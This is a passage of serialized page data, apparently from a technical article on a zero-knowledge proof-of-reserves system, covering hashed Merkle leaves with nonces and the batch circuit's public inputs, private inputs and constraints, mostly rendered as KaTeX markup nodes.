pe":28,"value":94658},{"type":22,"tag":118,"props":94778,"children":94780},{"className":94779},[6023,23542],[94781],{"type":28,"value":94664},{"type":22,"tag":118,"props":94783,"children":94785},{"className":94784},[6023,23542],[94786],{"type":28,"value":94670},{"type":22,"tag":118,"props":94788,"children":94790},{"className":94789},[6023],[94791,94796],{"type":22,"tag":118,"props":94792,"children":94794},{"className":94793},[6023,23542],[94795],{"type":28,"value":12650},{"type":22,"tag":118,"props":94797,"children":94799},{"className":94798},[6040],[94800],{"type":22,"tag":118,"props":94801,"children":94803},{"className":94802},[6045,23596],[94804,94833],{"type":22,"tag":118,"props":94805,"children":94807},{"className":94806},[6050],[94808,94828],{"type":22,"tag":118,"props":94809,"children":94811},{"className":94810,"style":94695},[6055],[94812],{"type":22,"tag":118,"props":94813,"children":94814},{"style":94699},[94815,94819],{"type":22,"tag":118,"props":94816,"children":94818},{"className":94817,"style":6065},[6064],[],{"type":22,"tag":118,"props":94820,"children":94822},{"className":94821},[6070,6071,6072,6073],[94823],{"type":22,"tag":118,"props":94824,"children":94826},{"className":94825},[6023,6073],[94827],{"type":28,"value":6026},{"type":22,"tag":118,"props":94829,"children":94831},{"className":94830},[23699],[94832],{"type":28,"value":23702},{"type":22,"tag":118,"props":94834,"children":94836},{"className":94835},[6050],[94837],{"type":22,"tag":118,"props":94838,"children":94840},{"className":94839,"style":94726},[6055],[94841],{"type":22,"tag":118,"props":94842,"children":94843},{},[],{"type":22,"tag":118,"props":94845,"children":94847},{"className":94846},[6104],[94848],{"type":28,"value":23643},{"type":22,"tag":118,"props":94850,"children":94852},{"className":94851},[6023],[94853],{"type":28,"value":11589},{"type":22,"tag":118,"props":94855,"children":94857},{"className":94856},[6104],[94858],{"type":28,"value":23643},{"type":22,"tag":118,"props":94860,"children":94862},{"className":94861},[6023],[94863],{"type":28,"value":94741},{"type":22,"tag":118,"props":94865,"children":94867},{"className":94866},[6104],[94868],{"type":28,"value":23643},{"type":22,"tag":118,"props":94870,"children":94872},{"className":94871,"style":24001},[6023,23542],[94873],{"type":28,"value":24004},{"type":22,"tag":118,"props":94875,"children":94878},{"className":94876,"style":94877},[6023,23542],"margin-right:0.08125em;",[94879],{"type":28,"value":94880},"H",{"type":22,"tag":118,"props":94882,"children":94884},{"className":94883},[6023,23542],[94885],{"type":28,"value":78363},{"type":22,"tag":118,"props":94887,"children":94889},{"className":94888},[6023],[94890],{"type":28,"value":94891},"256",{"type":22,"tag":118,"props":94893,"children":94895},{"className":94894},[23671],[94896],{"type":28,"value":540},{"type":22,"tag":118,"props":94898,"children":94900},{"className":94899},[6023,23542],[94901],{"type":28,"value":94902},"u",{"type":22,"tag":118,"props":94904,"children":94906},{"className":94905,"style":94643},[6023,23542],[94907],{"type":28,"value":94908},"ser",{"type":22,"tag":118,"props":94910,"children":94912},{"className":94911,"style":94643},[6023],[94913],{"type":28,"value":3422},{"type":22,"tag":118,"props":94915,"children":94917},{"className":94916},[6023,23542],[94918],{"type":28,"value":3613},{"type":22,"tag":118,"props":94920,"children":94922},{"className":94921},[6023,23542],[94923],{"type":28,"value":72503},{"type":22,"tag":118,"props":94925,"children":94927},{"className":94926},[23693],[94928],{"type":28,"value":3627},{"type":22,"tag":118,"props":94930,"children":94932},{"className":94931},[6104],[94933],{"type":28,"value":23643},{"type":22,"tag":118,"props":94935,"children":94937},{"className":94936},[6023],[94938],{"type":28,"value":94741},{"type":22,"tag":118,"props":94940,"children":94942},{"className":94941},[6104],[94943],{"type":28,"value":23643},{"type":22,"tag":118,"props":94945,"children":94947},{"className":94946},[6023,23542],[94948],{"type":28,"value":94902},{"type":22,"tag":118,"props":94950,"children":94952},{"className":94951,"style":94643},[6023,23542],[94953],{"type":28,"value":94908},{"type":22,"tag":118,"props":94955,"children":94957},{"className":94956,"style":94643},[6023],[94958],{"type":28,"value":3422},{"type":22,"tag":118,"props":94960,"children":94962},{"className":94961},[6023,23542],[94963],{"type":28,"value":58344},{"type":22,"tag":118,"props":94965,"children":94967},{"className":94966},[6023,23542],[94968],{"type":28,"value":94613},{"type":22,"tag":118,"props":94970,"children":94972},{"className":94971},[6023,23542],[94973],{"type":28,"value":58344},{"type":22,"tag":118,"props":94975,"children":94977},{"className":94976},[6023,23542],[94978],{"type":28,"value":94670},{"type":22,"tag":118,"props":94980,"children":94982},{"className":94981},[23693],[94983],{"type":28,"value":3627},{"type":22,"tag":31,"props":94985,"children":94986},{},[94987,94989,94995],{"type":28,"value":94988},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":22,"tag":114,"props":94990,"children":94992},{"className":94991},[],[94993],{"type":28,"value":94994},"uuid",{"type":28,"value":94996},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":22,"tag":1289,"props":94998,"children":95000},{"id":94999},"batch-circuit",[95001],{"type":28,"value":95002},"Batch Circuit",{"type":22,"tag":31,"props":95004,"children":95005},{},[95006],{"type":28,"value":95007},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":22,"tag":31,"props":95009,"children":95010},{},[95011],{"type":22,"tag":74,"props":95012,"children":95013},{},[95014],{"type":28,"value":95015},"Public Inputs",{"type":22,"tag":64,"props":95017,"children":95018},{},[95019,95024,95029],{"type":22,"tag":68,"props":95020,"children":95021},{},[95022],{"type":28,"value":95023},"Asset prices in USD",{"type":22,"tag":68,"props":95025,"children":95026},{},[95027],{"type":28,"value":95028},"Merkle tree hash",{"type":22,"tag":68,"props":95030,"children":95031},{},[95032],{"type":28,"value":95033},"Summed asset balances",{"type":22,"tag":31,"props":95035,"children":95036},{},[95037],{"type":22,"tag":74,"props":95038,"children":95039},{},[95040],{"type":28,"value":95041},"Private Inputs",{"type":22,"tag":64,"props":95043,"children":95044},{},[95045,95050],{"type":22,"tag":68,"props":95046,"children":95047},{},[95048],{"type":28,"value":95049},"Users balances",{"type":22,"tag":68,"props":95051,"children":95052},{},[95053],{"type":28,"value":95054},"Merkle tree leaves hashes",{"type":22,"tag":31,"props":95056,"children":95057},{},[95058],{"type":22,"tag":74,"props":95059,"children":95060},{},[95061],{"type":28,"value":95062},"Constraints",{"type":22,"tag":64,"props":95064,"children":95065},{},[95066,95519,95687,96034,96432],{"type":22,"tag":68,"props":95067,"children":95068},{},[95069],{"type":22,"tag":114,"props":95070,"children":95072},{"className":95071},[5995,5996],[95073],{"type":22,"tag":118,"props":95074,"children":95076},{"className":95075},[6001],[95077],{"type":22,"tag":118,"props":95078,"children":95080},{"className":95079,"ariaHidden":6007},[6006],[95081,95220,95424],{"type":22,"tag":118,"props":95082,"children":95084},{"className":95083},[6012],[95085,95090,95095,95101,95106,95111,95116,95121,95126,95133,95138,95143,95148,95207,95211,95216],{"type":22,"tag":118,"props":95086,"children":95089},{"className":95087,"style":95088},[6017],"height:0.9695em;vertical-align:-0.31em;",[],{"type":22,"tag":118,"props":95091,"children":95093},{"className":95092},[6023,23542],[95094],{"type":28,"value":42},{"type":22,"tag":118,"props":95096,"children":95098},{"className":95097},[6023,23542],[95099],{"type":28,"value":95100},"cco",{"type":22,"tag":118,"props":95102,"children":95104},{"className":95103},[6023,23542],[95105],{"type":28,"value":94902},{"type":22,"tag":118,"props":95107,"children":95109},{"className":95108},[6023,23542],[95110],{"type":28,"value":58344},{"type":22,"tag":118,"props":95112,"children":95114},{"className":95113},[6023,23542],[95115],{"type":28,"value":23684},{"type":22,"tag":118,"props":95117,"children":95119},{"className":95118,"style":94643},[6023],[95120],{"type":28,"value":3422},{"type":22,"tag":118,"props":95122,"children":95124},{"className":95123},[6023,23542],[95125],{"type":28,"value":53395},{"type":22,"tag":118,"props":95127,"children":95130},{"className":95128,"style":95129},[6023,23542],"margin-right:0.03588em;",[95131],{"type":28,"value":95132},"q",{"type":22,"tag":118,"props":95134,"children":95136},{"className":95135},[6023,23542],[95137],{"type":28,"value":94902},{"type":22,"tag":118,"props":95139,"children":95141},{"className":95140},[6023,23542],[95142],{"type":28,"value":3613},{"type":22,"tag":118,"props":95144,"children":95146},{"className":95145},[6023,23542],[95147],{"type":28,"value":23684},{"type":22,"tag":118,"props":95149,"children":95151},{"className":95150},[6023],[95152,95157],{"type":22,"tag":118,"props":95153,"children":95155},{"className":95154,"style":95129},[6023,23542],[95156],{"type":28,"value":5138},{"type":22,"tag":118,"props":95158,"children":95160},{"className":95159},[6040],[95161],{"type":22,"tag":118,"props":95162,"children":95164},{"className":95163},[6045,23596],[95165,95196],{"type":22,"tag":118,"props":95166,"children":95168},{"className":95167},[6050],[95169,95191],{"type":22,"tag":118,"props":95170,"children":95173},{"className":95171,"style":95172},[6055],"height:0.3117em;",[95174],{"type":22,"tag":118,"props":95175,"children":95177},{"style":95176},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[95178,95182],{"type":22,"tag":118,"props":95179,"children":95181},{"className":95180,"style":6065},[6064],[],{"type":22,"tag":118,"props":95183,"children":95185},{"className":95184},[6070,6071,6072,6073],[95186],{"type":22,"tag":118,"props":95187,"children":95189},{"className":95188},[6023,23542,6073],[95190],{"type":28,"value":3613},{"type":22,"tag":118,"props":95192,"children":95194},{"className":95193},[23699],[95195],{"type":28,"value":23702},{"type":22,"tag":118,"props":95197,"children":95199},{"className":95198},[6050],[95200],{"type":22,"tag":118,"props":95201,"children":95203},{"className":95202,"style":94726},[6055],[95204],{"type":22,"tag":118,"props":95205,"children":95206},{},[],{"type":22,"tag":118,"props":95208,"children":95210},{"className":95209,"style":6202},[6104],[],{"type":22,"tag":118,"props":95212,"children":95214},{"className":95213},[6207],[95215],{"type":28,"value":302},{"type":22,"tag":118,"props":95217,"children":95219},{"className":95218,"style":6202},[6104],[],{"type":22,"tag":118,"props":95221,"children":95223},{"className":95222},[6012],[95224,95228,95234,95239,95244,95249,95254,95259,95264,95269,95274,95279,95284,95289,95294,95299,95304,95309,95366,95371,95376,95381,95386,95391,95396,95401,95406,95411,95415,95420],{"type":22,"tag":118,"props":95225,"children":95227},{"className":95226,"style":94585},[6017],[],{"type":22,"tag":118,"props":95229,"children":95231},{"className":95230},[6023],[95232],{"type":28,"value":95233},"Σ",{"type":22,"tag":118,"props":95235,"children":95237},{"className":95236},[6104],[95238],{"type":28,"value":23643},{"type":22,"tag":118,"props":95240,"children":95242},{"className":95241},[6023,23542],[95243],{"type":28,"value":42},{"type":22,"tag":118,"props":95245,"children":95247},{"className":95246},[6023,23542],[95248],{"type":28,"value":95100},{"type":22,"tag":118,"props":95250,"children":95252},{"className":95251},[6023,23542],[95253],{"type":28,"value":94902},{"type":22,"tag":118,"props":95255,"children":95257},{"className":95256},[6023,23542],[95258],{"type":28,"value":58344},{"type":22,"tag":118,"props":95260,"children":95262},{"className":95261},[6023,23542],[95263],{"type":28,"value":23684},{"type":22,"tag":118,"props":95265,"children":95267},{"className":95266,"style":94643},[6023],[95268],{"type":28,"value":3422},{"type":22,"tag":118,"props":95270,"children":95272},{"className":95271},[6023,23542],[95273],{"type":28,"value":42},{"type":22,"tag":118,"props":95275,"children":95277},{"className":95276},[6023,23542],[95278],{"type":28,"value":94634},{"type":22,"tag":118,"props":95280,"children":95282},{"className":95281},[6023,23542],[95283],{"type":28,"value":23684},{"type":22,"tag":118,"props":95285,"children":95287},{"className":95286,"style":94643},[6023],[95288],{"type":28,"value":3422},{"type":22,"tag":118,"props":95290,"children":95292},{"className":95291},[6023,23542],[95293],{"type":28,"value":94651},{"type":22,"tag":118,"props":95295,"children":95297},{"className":95296,"style":94655},[6023,23542],[95298],{"type":28,"value":94658},{"type":22,"tag":118,"props":95300,"children":95302},{"className":95301},[6023,23542],[95303],{"type":28,"value":94664},{"type":22,"tag":118,"props":95305,"children":95307},{"className":95306},[6023,23542],[95308],{"type":28,"value":94670},{"type":22,"tag":118,"props":95310,"children":95312},{"className":95311},[6023],[95313,95318],{"type":22,"tag":118,"props":95314,"children":95316},{"className":95315},[6023,23542],[95317],{"type":28,"value":12650},{"type":22,"tag":118,"props":95319,"children":95321},{"className":95320},[6040],[95322],{"type":22,"tag":118,"props":95323,"children":95325},{"className":95324},[6045,23596],[95326,95355],{"type":22,"tag":118,"props":95327,"children":95329},{"className":95328},[6050],[95330,95350],{"type":22,"tag":118,"props":95331,"children":95333},{"className":95332,"style":95172},[6055],[95334],{"type":22,"tag":118,"props":95335,"children":95336},{"style":94699},[95337,95341],{"type":22,"tag":118,"props":95338,"children":95340},{"className":95339,"style":6065},[6064],[],{"type":22,"tag":118,"props":95342,"children":95344},{"className":95343},[6070,6071,6072,6073],[95345],{"type":22,"tag":118,"props":95346,"children":95348},{"className":95347},[6023,23542,6073],[95349],{"type":28,"value":3613},{"type":22,"tag":118,"props":95351,"children":95353},{"className":95352},[23699],[95354],{"type":28,"value":23702},{"type":22,"tag":118,"props":95356,"children":95358},{"className":95357},[6050],[95359],{"type":22,"tag":118,"props":95360,"children":95362},{"className":95361,"style":94726},[6055],[95363],{"type":22,"tag":118,"props":95364,"children":95365},{},[],{"type":22,"tag":118,"props":95367,"children":95369},{"className":95368},[23671],[95370],{"type":28,"value":5746},{"type":22,"tag":118,"props":95372,"children":95374},{"className":95373},[6023,23542],[95375],{"type":28,"value":42},{"type":22,"tag":118,"props":95377,"children":95379},{"className":95378},[6023,23542],[95380],{"type":28,"value":94634},{"type":22,"tag":118,"props":95382,"children":95384},{"className":95383},[6023,23542],[95385],{"type":28,"value":23684},{"type":22,"tag":118,"props":95387,"children":95389},{"className":95388,"style":94643},[6023],[95390],{"type":28,"value":3422},{"type":22,"tag":118,"props":95392,"children":95394},{"className":95393},[6023,23542],[95395],{"type":28,"value":58344},{"type":22,"tag":118,"props":95397,"children":95399},{"className":95398},[6023,23542],[95400],{"type":28,"value":94902},{"type":22,"tag":118,"props":95402,"children":95404},{"className":95403},[6023,23542],[95405],{"type":28,"value":53074},{"type":22,"tag":118,"props":95407,"children":95409},{"className":95408},[23693],[95410],{"type":28,"value":17386},{"type":22,"tag":118,"props":95412,"children":95414},{"className":95413,"style":6105},[6104],[],{"type":22,"tag":118,"props":95416,"children":95418},{"className":95417},[6110],[95419],{"type":28,"value":6113},{"type":22,"tag":118,"props":95421,"children":95423},{"className":95422,"style":6105},[6104],[],{"type":22,"tag":118,"props":95425,"children":95427},{"className":95426},[6012],[95428,95432,95437,95442,95447,95452,95457,95463,95468,95474,95479,95484,95489,95494,95499,95504,95509,95514],{"type":22,"tag":118,"props":95429,"children":95431},{"className":95430,"style":94585},[6017],[],{"type":22,"tag":118,"props":95433,"children":95435},{"className":95434},[6023,23542],[95436],{"type":28,"value":42},{"type":22,"tag":118,"props":95438,"children":95440},{"className":95439},[6023,23542],[95441],{"type":28,"value":94634},{"type":22,"tag":118,"props":95443,"children":95445},{"className":95444},[6023,23542],[95446],{"type":28,"value":23684},{"type":22,"tag":118,"props":95448,"children":95450},{"className":95449,"style":94643},[6023],[95451],{"type":28,"value":3422},{"type":22,"tag":118,"props":95453,"children":95455},{"className":95454},[6023,23542],[95456],{"type":28,"value":31},{"type":22,"tag":118,"props":95458,"children":95460},{"className":95459,"style":94643},[6023,23542],[95461],{"type":28,"value":95462},"r",{"type":22,"tag":118,"props":95464,"children":95466},{"className":95465},[6023,23542],[95467],{"type":28,"value":3613},{"type":22,"tag":118,"props":95469,"children":95471},{"className":95470},[6023,23542],[95472],{"type":28,"value":95473},"ces",{"type":22,"tag":118,"props":95475,"children":95477},{"className":95476},[23671],[95478],{"type":28,"value":5746},{"type":22,"tag":118,"props":95480,"children":95482},{"className":95481},[6023,23542],[95483],{"type":28,"value":42},{"type":22,"tag":118,"props":95485,"children":95487},{"className":95486},[6023,23542],[95488],{"type":28,"value":94634},{"type":22,"tag":118,"props":95490,"children":95492},{"className":95491},[6023,23542],[95493],{"type":28,"value":23684},{"type":22,"tag":118,"props":95495,"children":95497},{"className":95496,"style":94643},[6023],[95498],{"type":28,"value":3422},{"type":22,"tag":118,"props":95500,"children":95502},{"className":95501},[6023,23542],[95503],{"type":28,"value":58344},{"type":22,"tag":118,"props":95505,"children":95507},{"className":95506},[6023,23542],[95508],{"type":28,"value":94902},{"type":22,"tag":118,"props":95510,"children":95512},{"className":95511},[6023,23542],[95513],{"type":28,"value":53074},{"type":22,"tag":118,"props":95515,"children":95517},{"className":95516},[23693],[95518],{"type":28,"value":17386},{"type":22,"tag":68,"props":95520,"children":95521},{},[95522,95681,95682],{"type":22,"tag":114,"props":95523,"children":95525},{"className":95524},[5995,5996],[95526],{"type":22,"tag":118,"props":95527,"children":95529},{"className":95528},[6001],[95530],{"type":22,"tag":118,"props":95531,"children":95533},{"className":95532,"ariaHidden":6007},[6006],[95534,95667],{"type":22,"tag":118,"props":95535,"children":95537},{"className":95536},[6012],[95538,95542,95547,95552,95557,95562,95567,95572,95577,95582,95587,95592,95597,95654,95658,95663],{"type":22,"tag":118,"props":95539,"children":95541},{"className":95540,"style":95088},[6017],[],{"type":22,"tag":118,"props":95543,"children":95545},{"className":95544},[6023,23542],[95546],{"type":28,"value":42},{"type":22,"tag":118,"props":95548,"children":95550},{"className":95549},[6023,23542],[95551],{"type":28,"value":95100},{"type":22,"tag":118,"props":95553,"children":95555},{"className":95554},[6023,23542],[95556],{"type":28,"value":94902},{"type":22,"tag":118,"props":95558,"children":95560},{"className":95559},[6023,23542],[95561],{"type":28,"value":58344},{"type":22,"tag":118,"props":95563,"children":95565},{"className":95564},[6023,23542],[95566],{"type":28,"value":23684},{"type":22,"tag":118,"props":95568,"children":95570},{"className":95569,"style":94643},[6023],[95571],{"type":28,"value":3422},{"type":22,"tag":118,"props":95573,"children":95575},{"className":95574},[6023,23542],[95576],{"type":28,"value":53395},{"type":22,"tag":118,"props":95578,"children":95580},{"className":95579,"style":95129},[6023,23542],[95581],{"type":28,"value":95132},{"type":22,"tag":118,"props":95583,"children":95585},{"className":95584},[6023,23542],[95586],{"type":28,"value":94902},{"type":22,"tag":118,"props":95588,"children":95590},{"className":95589},[6023,23542],[95591],{"type":28,"value":3613},{"type":22,"tag":118,"props":95593,"children":95595},{"className":95594},[6023,23542],[95596],{"type":28,"value":23684},{"type":22,"tag":118,"props":95598,"children":95600},{"className":95599},[6023],[95601,95606],{"type":22,"tag":118,"props":95602,"children":95604},{"className":95603,"style":95129},[6023,23542],[95605],{"type":28,"value":5138},{"type":22,"tag":118,"props":95607,"children":95609},{"className":95608},[6040],[95610],{"type":22,"tag":118,"props":95611,"children":95613},{"className":95612},[6045,23596],[95614,95643],{"type":22,"tag":118,"props":95615,"children":95617},{"className":95616},[6050],[95618,95638],{"type":22,"tag":118,"props":95619,"children":95621},{"className":95620,"style":95172},[6055],[95622],{"type":22,"tag":118,"props":95623,"children":95624},{"style":95176},[95625,95629],{"type":22,"tag":118,"props":95626,"children":95628},{"className":95627,"style":6065},[6064],[],{"type":22,"tag":118,"props":95630,"children":95632},{"className":95631},[6070,6071,6072,6073],[95633],{"type":22,"tag":118,"props":95634,"children":95636},{"className":95635},[6023,23542,6073],[95637],{"type":28,"value":3613},{"type":22,"tag":118,"props":95639,"children":95641},{"className":95640},[23699],[95642],{"type":28,"value":23702},{"type":22,"tag":118,"props":95644,"children":95646},{"className":95645},[6050],[95647],{"type":22,"tag":118,"props":95648,"children":95650},{"className":95649,"style":94726},[6055],[95651],{"type":22,"tag":118,"props":95652,"children":95653},{},[],{"type":22,"tag":118,"props":95655,"children":95657},{"className":95656,"style":6202},[6104],[],{"type":22,"tag":118,"props":95659,"children":95661},{"className":95660},[6207],[95662],{"type":28,"value":11942},{"type":22,"tag":118,"props":95664,"children":95666},{"className":95665,"style":6202},[6104],[],{"type":22,"tag":118,"props":95668,"children":95670},{"className":95669},[6012],[95671,95676],{"type":22,"tag":118,"props":95672,"children":95675},{"className":95673,"style":95674},[6017],"height:0.6444em;",[],{"type":22,"tag":118,"props":95677,"children":95679},{"className":95678},[6023],[95680],{"type":28,"value":6036},{"type":28,"value":8467},{"type":22,"tag":74,"props":95683,"children":95684},{},[95685],{"type":28,"value":95686},"(non-negativity)",{"type":22,"tag":68,"props":95688,"children":95689},{},[95690,96028,96029],{"type":22,"tag":114,"props":95691,"children":95693},{"className":95692},[5995,5996],[95694],{"type":22,"tag":118,"props":95695,"children":95697},{"className":95696},[6001],[95698],{"type":22,"tag":118,"props":95699,"children":95701},{"className":95700,"ariaHidden":6007},[6006],[95702,95838],{"type":22,"tag":118,"props":95703,"children":95705},{"className":95704},[6012],[95706,95710,95715,95720,95725,95730,95735,95740,95745,95750,95755,95760,95765,95770,95775,95780,95785,95790,95795,95800,95805,95810,95815,95820,95825,95829,95834],{"type":22,"tag":118,"props":95707,"children":95709},{"className":95708,"style":94585},[6017],[],{"type":22,"tag":118,"props":95711,"children":95713},{"className":95712},[6023,23542],[95714],{"type":28,"value":23684},{"type":22,"tag":118,"props":95716,"children":95718},{"className":95717},[6023,23542],[95719],{"type":28,"value":94613},{"type":22,"tag":118,"props":95721,"children":95723},{"className":95722},[6023,23542],[95724],{"type":28,"value":23684},{"type":22,"tag":118,"props":95726,"children":95728},{"className":95727},[6023,23542],[95729],{"type":28,"value":42},{"type":22,"tag":118,"props":95731,"children":95733},{"className":95732,"style":94655},[6023,23542],[95734],{"type":28,"value":94658},{"type":22,"tag":118,"props":95736,"children":95738},{"className":95737,"style":94643},[6023],[95739],{"type":28,"value":3422},{"type":22,"tag":118,"props":95741,"children":95743},{"className":95742},[6023,23542],[95744],{"type":28,"value":42},{"type":22,"tag":118,"props":95746,"children":95748},{"className":95747},[6023,23542],[95749],{"type":28,"value":94634},{"type":22,"tag":118,"props":95751,"children":95753},{"className":95752},[6023,23542],[95754],{"type":28,"value":23684},{"type":22,"tag":118,"props":95756,"children":95758},{"className":95757,"style":94643},[6023],[95759],{"type":28,"value":3422},{"type":22,"tag":118,"props":95761,"children":95763},{"className":95762},[6023,23542],[95764],{"type":28,"value":94651},{"type":22,"tag":118,"props":95766,"children":95768},{"className":95767,"style":94655},[6023,23542],[95769],{"type":28,"value":94658},{"type":22,"tag":118,"props":95771,"children":95773},{"className":95772},[6023,23542],[95774],{"type":28,"value":94664},{"type":22,"tag":118,"props":95776,"children":95778},{"className":95777},[6023,23542],[95779],{"type":28,"value":94670},{"type":22,"tag":118,"props":95781,"children":95783},{"className":95782},[23671],[95784],{"type":28,"value":5746},{"type":22,"tag":118,"props":95786,"children":95788},{"className":95787},[6023,23542],[95789],{"type":28,"value":42},{"type":22,"tag":118,"props":95791,"children":95793},{"className":95792},[6023,23542],[95794],{"type":28,"value":94634},{"type":22,"tag":118,"props":95796,"children":95798},{"className":95797},[6023,23542],[95799],{"type":28,"value":23684},{"type":22,"tag":118,"props":95801,"children":95803},{"className":95802,"style":94643},[6023],[95804],{"type":28,"value":3422},{"type":22,"tag":118,"props":95806,"children":95808},{"className":95807},[6023,23542],[95809],{"type":28,"value":58344},{"type":22,"tag":118,"props":95811,"children":95813},{"className":95812},[6023,23542],[95814],{"type":28,"value":94902},{"type":22,"tag":118,"props":95816,"children":95818},{"className":95817},[6023,23542],[95819],{"type":28,"value":53074},{"type":22,"tag":118,"props":95821,"children":95823},{"className":95822},[23693],[95824],{"type":28,"value":17386},{"type":22,"tag":118,"props":95826,"children":95828},{"className":95827,"style":6202},[6104],[],{"type":22,"tag":118,"props":95830,"children":95832},{"className":95831},[6207],[95833],{"type":28,"value":302},{"type":22,"tag":118,"props":95835,"children":95837},{"className":95836,"style":6202},[6104],[],{"type":22,"tag":118,"props":95839,"children":95841},{"className":95840},[6012],[95842,95846,95851,95856,95861,95866,95871,95876,95881,95886,95891,95896,95901,95906,95911,95916,95921,95926,95983,95988,95993,95998,96003,96008,96013,96018,96023],{"type":22,"tag":118,"props":95843,"children":95845},{"className":95844,"style":94585},[6017],[],{"type":22,"tag":118,"props":95847,"children":95849},{"className":95848},[6023],[95850],{"type":28,"value":95233},{"type":22,"tag":118,"props":95852,"children":95854},{"className":95853},[6104],[95855],{"type":28,"value":23643},{"type":22,"tag":118,"props":95857,"children":95859},{"className":95858},[6023,23542],[95860],{"type":28,"value":42},{"type":22,"tag":118,"props":95862,"children":95864},{"className":95863},[6023,23542],[95865],{"type":28,"value":95100},{"type":22,"tag":118,"props":95867,"children":95869},{"className":95868},[6023,23542],[95870],{"type":28,"value":94902},{"type":22,"tag":118,"props":95872,"children":95874},{"className":95873},[6023,23542],[95875],{"type":28,"value":58344},{"type":22,"tag":118,"props":95877,"children":95879},{"className":95878},[6023,23542],[95880],{"type":28,"value":23684},{"type":22,"tag":118,"props":95882,"children":95884},{"className":95883,"style":94643},[6023],[95885],{"type":28,"value":3422},{"type":22,"tag":118,"props":95887,"children":95889},{"className":95888},[6023,23542],[95890],{"type":28,"value":42},{"type":22,"tag":118,"props":95892,"children":95894},{"className":95893},[6023,23542],[95895],{"type":28,"value":94634},{"type":22,"tag":118,"props":95897,"children":95899},{"className":95898},[6023,23542],[95900],{"type":28,"value":23684},{"type":22,"tag":118,"props":95902,"children":95904},{"className":95903,"style":94643},[6023],[95905],{"type":28,"value":3422},{"type":22,"tag":118,"props":95907,"children":95909},{"className":95908},[6023,23542],[95910],{"type":28,"value":94651},{"type":22,"tag":118,"props":95912,"children":95914},{"className":95913,"style":94655},[6023,23542],[95915],{"type":28,"value":94658},{"type":22,"tag":118,"props":95917,"children":95919},{"className":95918},[6023,23542],[95920],{"type":28,"value":94664},{"type":22,"tag":118,"props":95922,"children":95924},{"className":95923},[6023,23542],[95925],{"type":28,"value":94670},{"type":22,"tag":118,"props":95927,"children":95929},{"className":95928},[6023],[95930,95935],{"type":22,"tag":118,"props":95931,"children":95933},{"className":95932},[6023,23542],[95934],{"type":28,"value":12650},{"type":22,"tag":118,"props":95936,"children":95938},{"className":95937},[6040],[95939],{"type":22,"tag":118,"props":95940,"children":95942},{"className":95941},[6045,23596],[95943,95972],{"type":22,"tag":118,"props":95944,"children":95946},{"className":95945},[6050],[95947,95967],{"type":22,"tag":118,"props":95948,"children":95950},{"className":95949,"style":95172},[6055],[95951],{"type":22,"tag":118,"props":95952,"children":95953},{"style":94699},[95954,95958],{"type":22,"tag":118,"props":95955,"children":95957},{"className":95956,"style":6065},[6064],[],{"type":22,"tag":118,"props":95959,"children":95961},{"className":95960},[6070,6071,6072,6073],[95962],{"type":22,"tag":118,"props":95963,"children":95965},{"className":95964},[6023,23542,6073],[95966],{"type":28,"value":3613},{"type":22,"tag":118,"props":95968,"children":95970},{"className":95969},[23699],[95971],{"type":28,"value":23702},{"type":22,"tag":118,"props":95973,"children":95975},{"className":95974},[6050],[95976],{"type":22,"tag":118,"props":95977,"children":95979},{"className":95978,"style":94726},[6055],[95980],{"type":22,"tag":118,"props":95981,"children":95982},{},[],{"type":22,"tag":118,"props":95984,"children":95986},{"className":95985},[23671],[95987],{"type":28,"value":5746},{"type":22,"tag":118,"props":95989,"children":95991},{"className":95990},[6023,23542],[95992],{"type":28,"value":42},{"type":22,"tag":118,"props":95994,"children":95996},{"className":95995},[6023,23542],[95997],{"type":28,"value":94634},{"type":22,"tag":118,"props":95999,"children":96001},{"className":96000},[6023,23542],[96002],{"type":28,"value":23684},{"type":22,"tag":118,"props":96004,"children":96006},{"className":96005,"style":94643},[6023],[96007],{"type":28,"value":3422},{"type":22,"tag":118,"props":96009,"children":96011},{"className":96010},[6023,23542],[96012],{"type":28,"value":58344},{"type":22,"tag":118,"props":96014,"children":96016},{"className":96015},[6023,23542],[96017],{"type":28,"value":94902},{"type":22,"tag":118,"props":96019,"children":96021},{"className":96020},[6023,23542],[96022],{"type":28,"value":53074},{"type":22,"tag":118,"props":96024,"children":96026},{"className":96025},[23693],[96027],{"type":28,"value":17386},{"type":28,"value":8467},{"type":22,"tag":74,"props":96030,"children":96031},{},[96032],{"type":28,"value":96033},"(sum proof)",{"type":22,"tag":68,"props":96035,"children":96036},{},[96037,96426,96427],{"type":22,"tag":114,"props":96038,"children":96040},{"className":96039},[5995,5996],[96041],{"type":22,"tag":118,"props":96042,"children":96044},{"className":96043},[6001],[96045],{"type":22,"tag":118,"props":96046,"children":96048},{"className":96047,"ariaHidden":6007},[6006],[96049,96135],{"type":22,"tag":118,"props":96050,"children":96052},{"className":96051},[6012],[96053,96058,96063,96069,96075,96080,96085,96090,96095,96101,96106,96112,96117,96122,96126,96131],{"type":22,"tag":118,"props":96054,"children":96057},{"className":96055,"style":96056},[6017],"height:1.0044em;vertical-align:-0.31em;",[],{"type":22,"tag":118,"props":96059,"children":96061},{"className":96060},[6023,23542],[96062],{"type":28,"value":53074},{"type":22,"tag":118,"props":96064,"children":96066},{"className":96065,"style":94643},[6023,23542],[96067],{"type":28,"value":96068},"er",{"type":22,"tag":118,"props":96070,"children":96073},{"className":96071,"style":96072},[6023,23542],"margin-right:0.03148em;",[96074],{"type":28,"value":90280},{"type":22,"tag":118,"props":96076,"children":96078},{"className":96077,"style":94655},[6023,23542],[96079],{"type":28,"value":94658},{"type":22,"tag":118,"props":96081,"children":96083},{"className":96082},[6023,23542],[96084],{"type":28,"value":53395},{"type":22,"tag":118,"props":96086,"children":96088},{"className":96087,"style":94643},[6023],[96089],{"type":28,"value":3422},{"type":22,"tag":118,"props":96091,"children":96093},{"className":96092},[6023,23542],[96094],{"type":28,"value":23684},{"type":22,"tag":118,"props":96096,"children":96098},{"className":96097},[6023,23542],[96099],{"type":28,"value":96100},"ree",{"type":22,"tag":118,"props":96102,"children":96104},{"className":96103,"style":94643},[6023],[96105],{"type":28,"value":3422},{"type":22,"tag":118,"props":96107,"children":96109},{"className":96108},[6023,23542],[96110],{"type":28,"value":96111},"ha",{"type":22,"tag":118,"props":96113,"children":96115},{"className":96114},[60